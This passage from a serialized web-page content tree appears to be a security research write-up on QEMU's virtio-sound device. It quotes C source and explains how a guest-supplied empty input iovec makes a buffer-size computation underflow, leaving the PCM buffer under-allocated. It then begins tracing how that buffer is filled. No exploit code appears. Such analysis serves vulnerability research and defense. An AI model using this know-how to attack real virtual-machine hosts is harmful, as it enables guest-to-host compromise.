",{"type":22,"tag":101,"props":127443,"children":127444},{"style":166},[127445],{"type":27,"value":8615},{"type":22,"tag":101,"props":127447,"children":127448},{"style":120},[127449],{"type":27,"value":127450},"stream;\n",{"type":22,"tag":101,"props":127452,"children":127453},{"class":103,"line":1215},[127454],{"type":22,"tag":101,"props":127455,"children":127456},{"emptyLinePlaceholder":15},[127457],{"type":27,"value":1581},{"type":22,"tag":101,"props":127459,"children":127460},{"class":103,"line":2425},[127461,127466,127470,127475,127480,127484,127489],{"type":22,"tag":101,"props":127462,"children":127463},{"style":120},[127464],{"type":27,"value":127465}," elem ",{"type":22,"tag":101,"props":127467,"children":127468},{"style":166},[127469],{"type":27,"value":1511},{"type":22,"tag":101,"props":127471,"children":127472},{"style":926},[127473],{"type":27,"value":127474}," virtqueue_pop",{"type":22,"tag":101,"props":127476,"children":127477},{"style":120},[127478],{"type":27,"value":127479},"(vq, ",{"type":22,"tag":101,"props":127481,"children":127482},{"style":108},[127483],{"type":27,"value":59324},{"type":22,"tag":101,"props":127485,"children":127486},{"style":120},[127487],{"type":27,"value":127488},"(VirtQueueElement));",{"type":22,"tag":101,"props":127490,"children":127491},{"style":2215},[127492],{"type":27,"value":127493}," // [1]\n",{"type":22,"tag":101,"props":127495,"children":127496},{"class":103,"line":5417},[127497,127501,127505,127509],{"type":22,"tag":101,"props":127498,"children":127499},{"style":3595},[127500],{"type":27,"value":7312},{"type":22,"tag":101,"props":127502,"children":127503},{"style":120},[127504],{"type":27,"value":3603},{"type":22,"tag":101,"props":127506,"children":127507},{"style":166},[127508],{"type":27,"value":2109},{"type":22,"tag":101,"props":127510,"children":127511},{"style":120},[127512],{"type":27,"value":127513},"elem) {\n",{"type":22,"tag":101,"props":127515,"children":127516},{"class":103,"line":7714},[127517,127521],{"type":22,"tag":101,"props":127518,"children":127519},{"style":3595},[127520],{"type":27,"value":7337},{"type":22,"tag":101,"props":127522,"children":127523},{"style":120},[127524],{"type":27,"value":1520},{"type":22,"tag":101,"props":127526,"children":127527},{"class":103,"line":7723},[127528],{"type":22,"tag":101,"props":127529,"children":127530},{"style":120},[127531],{"type":27,"value":2398},{"type":22,"tag":101,"props":127533,"children":127534},{"class":103,"line":7791},[127535],{"type":22,"tag":101,"props":127536,"children":127537},{"emptyLinePlaceholder":15},[127538],{"type":27,"value":1581},{"type":22,"tag":101,"props":127540,"children":127541},{"class":103,"line":7799},[127542],{"type":22,"tag":101,"props":127543,"children":127544},{"style":120},[127545],{"type":27,"value":127546}," [...]\n",{"type":22,"tag":101,"props":127548,"children":127549},{"class":103,"line":7829},[127550],{"type":22,"tag":101,"props":127551,"children":127552},{"emptyLinePlaceholder":15},[127553],{"type":27,"value":1581},{"type":22,"tag":101,"props":127555,"children":127556},{"class":103,"line":7837},[127557,127562,127566,127570,127574,127578,127583],{"type":22,"tag":101,"props":127558,"children":127559},{"style":926},[127560],{"type":27,"value":127561}," WITH_QEMU_LOCK_GUARD",{"type":22,"tag":101,"props":127563,"children":127564},{"style":120},[127565],{"type":27,"value":980},{"type":22,"tag":101,"props":127567,"children":127568},{"style":166},[127569],{"type":27,"value":985},{"type":22,"tag":101,"props":127571,"children":127572},{"style":126},[127573],{"type":27,"value":40257},{"type":22,"tag":101,"props":127575,"children":127576},{"style":120},[127577],{"type":27,"value":17759},{"type":22,"tag":101,"props":127579,"children":127580},{"style":126},[127581],{"type":27,"value":127582},"queue_mutex",{"type":22,"tag":101,"props":127584,"children":127585},{"style":120},[127586],{"type":27,"value":1463},{"type":22,"tag":101,"props":127588,"children":127589},{"class":103,"line":7868},[127590,127595,127599,127604,127608,127612,127616,127621,127625,127629,127633,127638,127642],{"type":22,"tag":101,"props":127591,"children":127592},{"style":120},[127593],{"type":27,"value":127594}," size ",{"type":22,"tag":101,"props":127596,"children":127597},{"style":166},[127598],{"type":27,"value":1511},{"type":22,"tag":101,"props":127600,"children":127601},{"style":926},[127602],{"type":27,"value":127603}," iov_size",{"type":22,"tag":101,"props":127605,"children":127606},{"style":120},[127607],{"type":27,"value":980},{"type":22,"tag":101,"props":127609,"children":127610},{"style":126},[127611],{"type":27,"value":56060},{"type":22,"tag":101,"props":127613,"children":127614},{"style":120},[127615],{"type":27,"value":17759},{"type":22,"tag":101,"props":127617,"children":127618},{"style":126},[127619],{"type":27,"value":127620},"in_sg",{"type":22,"tag":101,"props":127622,"children":127623},{"style":120},[127624],{"type":27,"value":758},{"type":22,"tag":101,"props":127626,"children":127627},{"style":126},[127628],{"type":27,"value":56060},{"type":22,"tag":101,"props":127630,"children":127631},{"style":120},[127632],{"type":27,"value":17759},{"type":22,"tag":101,"props":127634,"children":127635},{"style":126},[127636],{"type":27,"value":127637},"in_num",{"type":22,"tag":101,"props":127639,"children":127640},{"style":120},[127641],{"type":27,"value":901},{"type":22,"tag":101,"props":127643,"children":127644},{"style":166},[127645],{"type":27,"value":54857},{"type":22,"tag":101,"props":127647,"children":127648},{"class":103,"line":7876},[127649,127654,127659],{"type":22,"tag":101,"props":127650,"children":127651},{"style":108},[127652],{"type":27,"value":127653}," sizeof",{"type":22,"tag":101,"props":127655,"children":127656},{"style":120},[127657],{"type":27,"value":127658},"(virtio_snd_pcm_status);",{"type":22,"tag":101,"props":127660,"children":127661},{"style":2215},[127662],{"type":27,"value":127663}," // [2]\n",{"type":22,"tag":101,"props":127665,"children":127666},{"class":103,"line":7936},[127667,127672,127676,127681,127685,127689,127694,127698],{"type":22,"tag":101,"props":127668,"children":127669},{"style":120},[127670],{"type":27,"value":127671}," buffer ",{"type":22,"tag":101,"props":127673,"children":127674},{"style":166},[127675],{"type":27,"value":1511},{"type":22,"tag":101,"props":127677,"children":127678},{"style":926},[127679],{"type":27,"value":127680}," g_malloc0",{"type":22,"tag":101,"props":127682,"children":127683},{"style":120},[127684],{"type":27,"value":980},{"type":22,"tag":101,"props":127686,"children":127687},{"style":108},[127688],{"type":27,"value":59324},{"type":22,"tag":101,"props":127690,"children":127691},{"style":120},[127692],{"type":27,"value":127693},"(VirtIOSoundPCMBuffer) ",{"type":22,"tag":101,"props":127695,"children":127696},{"style":166},[127697],{"type":27,"value":8426},{"type":22,"tag":101,"props":127699,"children":127700},{"style":120},[127701],{"type":27,"value":127702}," size);\n",{"type":22,"tag":101,"props":127704,"children":127705},{"class":103,"line":13054},[127706,127711,127715,127719,127723],{"type":22,"tag":101,"props":127707,"children":127708},{"style":126},[127709],{"type":27,"value":127710}," buffer",{"type":22,"tag":101,"props":127712,"children":127713},{"style":120},[127714],{"type":27,"value":17759},{"type":22,"tag":101,"props":127716,"children":127717},{"style":126},[127718],{"type":27,"value":56060},{"type":22,"tag":101,"props":127720,"children":127721},{"style":166},[127722],{"type":27,"value":960},{"type":22,"tag":101,"props":127724,"children":127725},{"style":120},[127726],{"type":27,"value":127727}," elem;\n",{"type":22,"tag":101,"props":127729,"children":127730},{"class":103,"line":13072},[127731,127735,127739,127743,127747],{"type":22,"tag":101,"props":127732,"children":127733},{"style":126},[127734],{"type":27,"value":127710},{"type":22,"tag":101,"props":127736,"children":127737},{"style":120},[127738],{"type":27,"value":17759},{"type":22,"tag":101,"props":127740,"children":127741},{"style":126},[127742],{"type":27,"value":127379},{"type":22,"tag":101,"props":127744,"children":127745},{"style":166},[127746],{"type":27,"value":960},{"type":22,"tag":101,"props":127748,"children":127749},{"style":120},[127750],{"type":27,"value":127751}," vq;\n",{"type":22,"tag":101,"props":127753,"children":127754},{"class":103,"line":13117},[127755,127759,127763,127768,127772,127776],{"type":22,"tag":101,"props":127756,"children":127757},{"style":126},[127758],{"type":27,"value":127710},{"type":22,"tag":101,"props":127760,"children":127761},{"style":120},[127762],{"type":27,"value":17759},{"type":22,"tag":101,"props":127764,"children":127765},{"style":126},[127766],{"type":27,"value":127767},"size",{"type":22,"tag":101,"props":127769,"children":127770},{"style":166},[127771],{"type":27,"value":960},{"type":22,"tag":101,"props":127773,"children":127774},{"style":1544},[127775],{"type":27,"value":1547},{"type":22,"tag":101,"props":127777,"children":127778},{"style":120},[127779],{"type":27,"value":1520},{"type":22,"tag":101,"props":127781,"children":127782},{"class":103,"line":13223},[127783,127787,127791,127795,127799,127803],{"type":22,"tag":101,"props":127784,"children":127785},{"style":126},[127786],{"type":27,"value":127710},{"type":22,"tag":101,"props":127788,"children":127789},{"style":120},[127790],{"type":27,"value":17759},{"type":22,"tag":101,"props":127792,"children":127793},{"style":126},[127794],{"type":27,"value":17903},{"type":22,"tag":101,"props":127796,"children":127797},{"style":166},[127798],{"type":27,"value":960},{"type":22,"tag":101,"props":127800,"children":127801},{"style":1544},[127802],{"type":27,"value":1547},{"type":22,"tag":101,"props":127804,"children":127805},{"style":120},[127806],{"type":27,"value":1520},{"type":22,"tag":101,"props":127808,"children":127809},{"class":103,"line":27496},[127810,127815,127819,127823,127827,127831,127836,127841],{"type":22,"tag":101,"props":127811,"children":127812},{"style":926},[127813],{"type":27,"value":127814}," QSIMPLEQ_INSERT_TAIL",{"type":22,"tag":101,"props":127816,"children":127817},{"style":120},[127818],{"type":27,"value":980},{"type":22,"tag":101,"props":127820,"children":127821},{"style":166},[127822],{"type":27,"value":985},{"type":22,"tag":101,"props":127824,"children":127825},{"style":126},[127826],{"type":27,"value":40257},{"type":22,"tag":101,"props":127828,"children":127829},{"style":120},[127830],{"type":27,"value":17759},{"type":22,"tag":101,"props":127832,"children":127833},{"style":126},[127834],{"type":27,"value":127835},"queue",{"type":22,"tag":101,"props":127837,"children":127838},{"style":120},[127839],{"type":27,"value":127840},", buffer, entry);",{"type":22,"tag":101,"props":127842,"children":127843},{"style":2215},[127844],{"type":27,"value":56625},{"type":22,"tag":101,"props":127846,"children":127847},{"class":103,"line":27531},[127848],{"type":22,"tag":101,"props":127849,"children":127850},{"style":120},[127851],{"type":27,"value":2398},{"type":22,"tag":101,"props":127853,"children":127854},{"class":103,"line":27539},[127855,127860],{"type":22,"tag":101,"props":127856,"children":127857},{"style":3595},[127858],{"type":27,"value":127859}," continue",{"type":22,"tag":101,"props":127861,"children":127862},{"style":120},[127863],{"type":27,"value":1520},{"type":22,"tag":101,"props":127865,"children":127866},{"class":103,"line":27547},[127867],{"type":22,"tag":101,"props":127868,"children":127869},{"emptyLinePlaceholder":15},[127870],{"type":27,"value":1581},{"type":22,"tag":101,"props":127872,"children":127873},{"class":103,"line":27556},[127874],{"type":22,"tag":101,"props":127875,"children":127876},{"style":120},[127877],{"type":27,"value":127546},{"type":22,"tag":101,"props":127879,"children":127880},{"class":103,"line":27598},[127881],{"type":22,"tag":101,"props":127882,"children":127883},{"style":120},[127884],{"type":27,"value":188},{"type":22,"tag":23,"props":127886,"children":127887},{},[127888,127890,127896,127898,127904,127906,127911,127912,127918],{"type":27,"value":127889},"At ",{"type":22,"tag":30,"props":127891,"children":127893},{"className":127892},[],[127894],{"type":27,"value":127895},"[1]",{"type":27,"value":127897},", a ",{"type":22,"tag":30,"props":127899,"children":127901},{"className":127900},[],[127902],{"type":27,"value":127903},"VirtQueueElement *elem",{"type":27,"value":127905}," is popped from the virtqueue. It contains the ",{"type":22,"tag":30,"props":127907,"children":127909},{"className":127908},[],[127910],{"type":27,"value":127620},{"type":27,"value":209},{"type":22,"tag":30,"props":127913,"children":127915},{"className":127914},[],[127916],{"type":27,"value":127917},"out_sg",{"type":27,"value":127919}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":22,"tag":23,"props":127921,"children":127922},{},[127923,127925,127931,127933,127939,127941,127947,127949,127955,127957,127963],{"type":27,"value":127924},"Further at ",{"type":22,"tag":30,"props":127926,"children":127928},{"className":127927},[],[127929],{"type":27,"value":127930},"[2]",{"type":27,"value":127932},", the device computes the size of the data buffer as ",{"type":22,"tag":30,"props":127934,"children":127936},{"className":127935},[],[127937],{"type":27,"value":127938},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":27,"value":127940},". That value is then used in the allocation: ",{"type":22,"tag":30,"props":127942,"children":127944},{"className":127943},[],[127945],{"type":27,"value":127946},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":27,"value":127948},". Finally, at ",{"type":22,"tag":30,"props":127950,"children":127952},{"className":127951},[],[127953],{"type":27,"value":127954},"[3]",{"type":27,"value":127956},", the newly allocated buffer is appended to the ",{"type":22,"tag":30,"props":127958,"children":127960},{"className":127959},[],[127961],{"type":27,"value":127962},"stream->queue",{"type":27,"value":127964}," linked list.",{"type":22,"tag":23,"props":127966,"children":127967},{},[127968,127970,127975,127977,127982,127984,127989,127991,127997],{"type":27,"value":127969},"Because both the ",{"type":22,"tag":30,"props":127971,"children":127973},{"className":127972},[],[127974],{"type":27,"value":127620},{"type":27,"value":127976}," iovec and the ",{"type":22,"tag":30,"props":127978,"children":127980},{"className":127979},[],[127981],{"type":27,"value":127637},{"type":27,"value":127983}," field are guest-controlled, and there is no check that the total ",{"type":22,"tag":30,"props":127985,"children":127987},{"className":127986},[],[127988],{"type":27,"value":127620},{"type":27,"value":127990}," size is at least ",{"type":22,"tag":30,"props":127992,"children":127994},{"className":127993},[],[127995],{"type":27,"value":127996},"sizeof(virtio_snd_pcm_status)",{"type":27,"value":127998},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":22,"tag":23,"props":128000,"children":128001},{},[128002,128004,128009,128011,128017,128019,128025,128027,128033],{"type":27,"value":128003},"From the guest driver, we can provide an empty ",{"type":22,"tag":30,"props":128005,"children":128007},{"className":128006},[],[128008],{"type":27,"value":127620},{"type":27,"value":128010}," iovec. In that case, the calculation becomes ",{"type":22,"tag":30,"props":128012,"children":128014},{"className":128013},[],[128015],{"type":27,"value":128016},"0 - sizeof(virtio_snd_pcm_status)",{"type":27,"value":128018},", so the allocation size effectively becomes ",{"type":22,"tag":30,"props":128020,"children":128022},{"className":128021},[],[128023],{"type":27,"value":128024},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":27,"value":128026},". Given the definition of ",{"type":22,"tag":30,"props":128028,"children":128030},{"className":128029},[],[128031],{"type":27,"value":128032},"VirtIOSoundPCMBuffer",{"type":27,"value":169},{"type":22,"tag":91,"props":128035,"children":128037},{"code":128036,"language":7187,"meta":7,"className":20513,"style":7},"struct VirtIOSoundPCMBuffer {\n QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n VirtQueueElement *elem;\n VirtQueue *vq;\n size_t size;\n uint64_t offset;\n /* Used for the TX queue for lazy I/O copy from `elem` */\n bool populated;\n uint8_t data[];\n};\n",[128038],{"type":22,"tag":30,"props":128039,"children":128040},{"__ignoreMap":7},[128041,128053,128066,128081,128098,128110,128122,128130,128142,128162],{"type":22,"tag":101,"props":128042,"children":128043},{"class":103,"line":104},[128044,128048],{"type":22,"tag":101,"props":128045,"children":128046},{"style":108},[128047],{"type":27,"value":111},{"type":22,"tag":101,"props":128049,"children":128050},{"style":120},[128051],{"type":27,"value":128052}," VirtIOSoundPCMBuffer {\n",{"type":22,"tag":101,"props":128054,"children":128055},{"class":103,"line":157},[128056,128061],{"type":22,"tag":101,"props":128057,"children":128058},{"style":926},[128059],{"type":27,"value":128060}," QSIMPLEQ_ENTRY",{"type":22,"tag":101,"props":128062,"children":128063},{"style":120},[128064],{"type":27,"value":128065},"(VirtIOSoundPCMBuffer) entry;\n",{"type":22,"tag":101,"props":128067,"children":128068},{"class":103,"line":182},[128069,128073,128077],{"type":22,"tag":101,"props":128070,"children":128071},{"style":120},[128072],{"type":27,"value":127398},{"type":22,"tag":101,"props":128074,"children":128075},{"style":166},[128076],{"type":27,"value":8615},{"type":22,"tag":101,"props":128078,"children":128079},{"style":120},[128080],{"type":27,"value":127407},{"type":22,"tag":101,"props":128082,"children":128083},{"class":103,"line":367},[128084,128089,128093],{"type":22,"tag":101,"props":128085,"children":128086},{"style":120},[128087],{"type":27,"value":128088}," VirtQueue ",{"type":22,"tag":101,"props":128090,"children":128091},{"style":166},[128092],{"type":27,"value":8615},{"type":22,"tag":101,"props":128094,"children":128095},{"style":120},[128096],{"type":27,"value":128097},"vq;\n",{"type":22,"tag":101,"props":128099,"children":128100},{"class":103,"line":398},[128101,128105],{"type":22,"tag":101,"props":128102,"children":128103},{"style":108},[128104],{"type":27,"value":20563},{"type":22,"tag":101,"props":128106,"children":128107},{"style":120},[128108],{"type":27,"value":128109}," size;\n",{"type":22,"tag":101,"props":128111,"children":128112},{"class":103,"line":428},[128113,128117],{"type":22,"tag":101,"props":128114,"children":128115},{"style":108},[128116],{"type":27,"value":59609},{"type":22,"tag":101,"props":128118,"children":128119},{"style":120},[128120],{"type":27,"value":128121}," offset;\n",{"type":22,"tag":101,"props":128123,"children":128124},{"class":103,"line":997},[128125],{"type":22,"tag":101,"props":128126,"children":128127},{"style":2215},[128128],{"type":27,"value":128129}," /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":22,"tag":101,"props":128131,"children":128132},{"class":103,"line":1032},[128133,128137],{"type":22,"tag":101,"props":128134,"children":128135},{"style":108},[128136],{"type":27,"value":50469},{"type":22,"tag":101,"props":128138,"children":128139},{"style":120},[128140],{"type":27,"value":128141}," populated;\n",{"type":22,"tag":101,"props":128143,"children":128144},{"class":103,"line":1063},[128145,128149,128153,128158],{"type":22,"tag":101,"props":128146,"children":128147},{"style":108},[128148],{"type":27,"value":62454},{"type":22,"tag":101,"props":128150,"children":128151},{"style":120},[128152],{"type":27,"value":19106},{"type":22,"tag":101,"props":128154,"children":128155},{"style":108},[128156],{"type":27,"value":128157},"[]",{"type":22,"tag":101,"props":128159,"children":128160},{"style":120},[128161],{"type":27,"value":1520},{"type":22,"tag":101,"props":128163,"children":128164},{"class":103,"line":1071},[128165],{"type":22,"tag":101,"props":128166,"children":128167},{"style":120},[128168],{"type":27,"value":20576},{"type":22,"tag":23,"props":128170,"children":128171},{},[128172,128174,128180,128182,128187,128189,128194,128196,128201,128203,128208,128210,128216],{"type":27,"value":128173},"That under-allocation removes the ",{"type":22,"tag":30,"props":128175,"children":128177},{"className":128176},[],[128178],{"type":27,"value":128179},"populated",{"type":27,"value":128181}," field along with the variable-sized ",{"type":22,"tag":30,"props":128183,"children":128185},{"className":128184},[],[128186],{"type":27,"value":7738},{"type":27,"value":128188}," array. As the comment says, ",{"type":22,"tag":30,"props":128190,"children":128192},{"className":128191},[],[128193],{"type":27,"value":128179},{"type":27,"value":128195}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":22,"tag":30,"props":128197,"children":128199},{"className":128198},[],[128200],{"type":27,"value":6813},{"type":27,"value":128202},", the device believes data should be ",{"type":22,"tag":30,"props":128204,"children":128206},{"className":128205},[],[128207],{"type":27,"value":6813},{"type":27,"value":128209}," byte, while the actual allocation is ",{"type":22,"tag":30,"props":128211,"children":128213},{"className":128212},[],[128214],{"type":27,"value":128215},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":27,"value":231},{"type":22,"tag":22883,"props":128218,"children":128220},{"id":128219},"populating-data-buffers",[128221],{"type":27,"value":128222},"Populating Data Buffers",{"type":22,"tag":23,"props":128224,"children":128225},{},[128226],{"type":27,"value":128227},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":22,"tag":91,"props":128229,"children":128231},{"code":128230,"language":7187,"meta":7,"className":20513,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n VirtIOSoundPCMStream *stream = data;\n VirtIOSoundPCMBuffer *buffer;\n size_t size, max_size;\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n [...]\n\n max_size = iov_size( // [1]\n buffer->elem->in_sg,\n buffer->elem->in_num\n );\n for (;;) {\n if (buffer->size >= max_size) { // [2]\n return_rx_buffer(stream, buffer);\n break;\n }\n size = AUD_read(stream->voice.in,\n buffer->data + buffer->size,\n MIN(available, (stream->params.period_bytes - // [3]\n buffer->size)));\n if (!size) {\n available = 0;\n break;\n }\n buffer->size += size;\n available -= size;\n [...]\n }\n }\n }\n}\n",[128232],{"type":22,"tag":30,"props":128233,"children":128234},{"__ignoreMap":7},[128235,128242,128250,128257,128265,128273,128280,128329,128336,128362,128379,128391,128398,128430,128475,128515,128522,128530,128537,128562,128590,128614,128622,128634,128672,128685,128697,128704,128750,128787,128830,128851,128871,128891,128902,128909,128932,128948,128956,128963,128970,128977],{"type":22,"tag":101,"props":128236,"children":128237},{"class":103,"line":104},[128238],{"type":22,"tag":101,"props":128239,"children":128240},{"style":2215},[128241],{"type":27,"value":53362},{"type":22,"tag":101,"props":128243,"children":128244},{"class":103,"line":157},[128245],{"type":22,"tag":101,"props":128246,"children":128247},{"style":2215},[128248],{"type":27,"value":128249}," * AUD_* input callback.\n",{"type":22,"tag":101,"props":128251,"children":128252},{"class":103,"line":182},[128253],{"type":22,"tag":101,"props":128254,"children":128255},{"style":2215},[128256],{"type":27,"value":23479},{"type":22,"tag":101,"props":128258,"children":128259},{"class":103,"line":367},[128260],{"type":22,"tag":101,"props":128261,"children":128262},{"style":2215},[128263],{"type":27,"value":128264}," * @data: VirtIOSoundPCMStream stream\n",{"type":22,"tag":101,"props":128266,"children":128267},{"class":103,"line":398},[128268],{"type":22,"tag":101,"props":128269,"children":128270},{"style":2215},[128271],{"type":27,"value":128272}," * @available: number of bytes that can be read with AUD_read()\n",{"type":22,"tag":101,"props":128274,"children":128275},{"class":103,"line":428},[128276],{"type":22,"tag":101,"props":128277,"children":128278},{"style":2215},[128279],{"type":27,"value":127335},{"type":22,"tag":101,"props":128281,"children":128282},{"class":103,"line":997},[128283,128287,128291,128296,128300,128304,128308,128312,128316,128320,128325],{"type":22,"tag":101,"props":128284,"children":128285},{"style":108},[128286],{"type":27,"value":55040},{"type":22,"tag":101,"props":128288,"children":128289},{"style":108},[128290],{"type":27,"value":55045},{"type":22,"tag":101,"props":128292,"children":128293},{"style":926},[128294],{"type":27,"value":128295}," virtio_snd_pcm_in_cb",{"type":22,"tag":101,"props":128297,"children":128298},{"style":120},[128299],{"type":27,"value":980},{"type":22,"tag":101,"props":128301,"children":128302},{"style":108},[128303],{"type":27,"value":55623},{"type":22,"tag":101,"props":128305,"children":128306},{"style":166},[128307],{"type":27,"value":13822},{"type":22,"tag":101,"props":128309,"children":128310},{"style":126},[128311],{"type":27,"value":7738},{"type":22,"tag":101,"props":128313,"children":128314},{"style":120},[128315],{"type":27,"value":758},{"type":22,"tag":101,"props":128317,"children":128318},{"style":108},[128319],{"type":27,"value":23037},{"type":22,"tag":101,"props":128321,"children":128322},{"style":126},[128323],{"type":27,"value":128324}," available",{"type":22,"tag":101,"props":128326,"children":128327},{"style":120},[128328],{"type":27,"value":2510},{"type":22,"tag":101,"props":128330,"children":128331},{"class":103,"line":1032},[128332],{"type":22,"tag":101,"props":128333,"children":128334},{"style":120},[128335],{"type":27,"value":14886},{"type":22,"tag":101,"props":128337,"children":128338},{"class":103,"line":1063},[128339,128344,128348,128353,128357],{"type":22,"tag":101,"props":128340,"children":128341},{"style":120},[128342],{"type":27,"value":128343}," VirtIOSoundPCMStream ",{"type":22,"tag":101,"props":128345,"children":128346},{"style":166},[128347],{"type":27,"value":8615},{"type":22,"tag":101,"props":128349,"children":128350},{"style":120},[128351],{"type":27,"value":128352},"stream ",{"type":22,"tag":101,"props":128354,"children":128355},{"style":166},[128356],{"type":27,"value":1511},{"type":22,"tag":101,"props":128358,"children":128359},{"style":120},[128360],{"type":27,"value":128361}," data;\n",{"type":22,"tag":101,"props":128363,"children":128364},{"class":103,"line":1071},[128365,128370,128374],{"type":22,"tag":101,"props":128366,"children":128367},{"style":120},[128368],{"type":27,"value":128369}," VirtIOSoundPCMBuffer ",{"type":22,"tag":101,"props":128371,"children":128372},{"style":166},[128373],{"type":27,"value":8615},{"type":22,"tag":101,"props":128375,"children":128376},{"style":120},[128377],{"type":27,"value":128378},"buffer;\n",{"type":22,"tag":101,"props":128380,"children":128381},{"class":103,"line":1110},[128382,128386],{"type":22,"tag":101,"props":128383,"children":128384},{"style":108},[128385],{"type":27,"value":20563},{"type":22,"tag":101,"props":128387,"children":128388},{"style":120},[128389],{"type":27,"value":128390}," size, max_size;\n",{"type":22,"tag":101,"props":128392,"children":128393},{"class":103,"line":1118},[128394],{"type":22,"tag":101,"props":128395,"children":128396},{"emptyLinePlaceholder":15},[128397],{"type":27,"value":1581},{"type":22,"tag":101,"props":128399,"children":128400},{"class":103,"line":1158},[128401,128406,128410,128414,128418,128422,128426],{"type":22,"tag":101,"props":128402,"children":128403},{"style":926},[128404],{"type":27,"value":128405}," WITH_QEMU_LOCK_GUARD",{"type":22,"tag":101,"props":128407,"children":128408},{"style":120},[128409],{"type":27,"value":980},{"type":22,"tag":101,"props":128411,"children":128412},{"style":166},[128413],{"type":27,"value":985},{"type":22,"tag":101,"props":128415,"children":128416},{"style":126},[128417],{"type":27,"value":40257},{"type":22,"tag":101,"props":128419,"children":128420},{"style":120},[128421],{"type":27,"value":17759},{"type":22,"tag":101,"props":128423,"children":128424},{"style":126},[128425],{"type":27,"value":127582},{"type":22,"tag":101,"props":128427,"children":128428},{"style":120},[128429],{"type":27,"value":1463},{"type":22,"tag":101,"props":128431,"children":128432},{"class":103,"line":1166},[128433,128438,128442,128446,128451,128455,128459,128463,128467,128471],{"type":22,"tag":101,"props":128434,"children":128435},{"style":3595},[128436],{"type":27,"value":128437}," while",{"type":22,"tag":101,"props":128439,"children":128440},{"style":120},[128441],{"type":27,"value":3603},{"type":22,"tag":101,"props":128443,"children":128444},{"style":166},[128445],{"type":27,"value":2109},{"type":22,"tag":101,"props":128447,"children":128448},{"style":926},[128449],{"type":27,"value":128450},"QSIMPLEQ_EMPTY",{"type":22,"tag":101,"props":128452,"children":128453},{"style":120},[128454],{"type":27,"value":980},{"type":22,"tag":101,"props":128456,"children":128457},{"style":166},[128458],{"type":27,"value":985},{"type":22,"tag":101,"props":128460,"children":128461},{"style":126},[128462],{"type":27,"value":40257},{"type":22,"tag":101,"props":128464,"children":128465},{"style":120},[128466],{"type":27,"value":17759},{"type":22,"tag":101,"props":128468,"children":128469},{"style":126},[128470],{"type":27,"value":127835},{"type":22,"tag":101,"props":128472,"children":128473},{"style":120},[128474],{"type":27,"value":39190},{"type":22,"tag":101,"props":128476,"children":128477},{"class":103,"line":1215},[128478,128482,128486,128491,128495,128499,128503,128507,128511],{"type":22,"tag":101,"props":128479,"children":128480},{"style":120},[128481],{"type":27,"value":127671},{"type":22,"tag":101,"props":128483,"children":128484},{"style":166},[128485],{"type":27,"value":1511},{"type":22,"tag":101,"props":128487,"children":128488},{"style":926},[128489],{"type":27,"value":128490}," QSIMPLEQ_FIRST",{"type":22,"tag":101,"props":128492,"children":128493},{"style":120},[128494],{"type":27,"value":980},{"type":22,"tag":101,"props":128496,"children":128497},{"style":166},[128498],{"type":27,"value":985},{"type":22,"tag":101,"props":128500,"children":128501},{"style":126},[128502],{"type":27,"value":40257},{"type":22,"tag":101,"props":128504,"children":128505},{"style":120},[128506],{"type":27,"value":17759},{"type":22,"tag":101,"props":128508,"children":128509},{"style":126},[128510],{"type":27,"value":127835},{"type":22,"tag":101,"props":128512,"children":128513},{"style":120},[128514],{"type":27,"value":994},{"type":22,"tag":101,"props":128516,"children":128517},{"class":103,"line":2425},[128518],{"type":22,"tag":101,"props":128519,"children":128520},{"emptyLinePlaceholder":15},[128521],{"type":27,"value":1581},{"type":22,"tag":101,"props":128523,"children":128524},{"class":103,"line":5417},[128525],{"type":22,"tag":101,"props":128526,"children":128527},{"style":120},[128528],{"type":27,"value":128529}," [...]\n",{"type":22,"tag":101,"props":128531,"children":128532},{"class":103,"line":7714},[128533],{"type":22,"tag":101,"props":128534,"children":128535},{"emptyLinePlaceholder":15},[128536],{"type":27,"value":1581},{"type":22,"tag":101,"props":128538,"children":128539},{"class":103,"line":7723},[128540,128545,128549,128553,128557],{"type":22,"tag":101,"props":128541,"children":128542},{"style":120},[128543],{"type":27,"value":128544}," max_size ",{"type":22,"tag":101,"props":128546,"children":128547},{"style":166},[128548],{"type":27,"value":1511},{"type":22,"tag":101,"props":128550,"children":128551},{"style":926},[128552],{"type":27,"value":127603},{"type":22,"tag":101,"props":128554,"children":128555},{"style":120},[128556],{"type":27,"value":980},{"type":22,"tag":101,"props":128558,"children":128559},{"style":2215},[128560],{"type":27,"value":128561}," // [1]\n",{"type":22,"tag":101,"props":128563,"children":128564},{"class":103,"line":7791},[128565,128570,128574,128578,128582,128586],{"type":22,"tag":101,"props":128566,"children":128567},{"style":126},[128568],{"type":27,"value":128569}," buffer",{"type":22,"tag":101,"props":128571,"children":128572},{"style":120},[128573],{"type":27,"value":17759},{"type":22,"tag":101,"props":128575,"children":128576},{"style":126},[128577],{"type":27,"value":56060},{"type":22,"tag":101,"props":128579,"children":128580},{"style":120},[128581],{"type":27,"value":17759},{"type":22,"tag":101,"props":128583,"children":128584},{"style":126},[128585],{"type":27,"value":127620},{"type":22,"tag":101,"props":128587,"children":128588},{"style":120},[128589],{"type":27,"value":179},{"type":22,"tag":101,"props":128591,"children":128592},{"class":103,"line":7799},[128593,128597,128601,128605,128609],{"type":22,"tag":101,"props":128594,"children":128595},{"style":126},[128596],{"type":27,"value":128569},{"type":22,"tag":101,"props":128598,"children":128599},{"style":120},[128600],{"type":27,"value":17759},{"type":22,"tag":101,"props":128602,"children":128603},{"style":126},[128604],{"type":27,"value":56060},{"type":22,"tag":101,"props":128606,"children":128607},{"style":120},[128608],{"type":27,"value":17759},{"type":22,"tag":101,"props":128610,"children":128611},{"style":126},[128612],{"type":27,"value":1286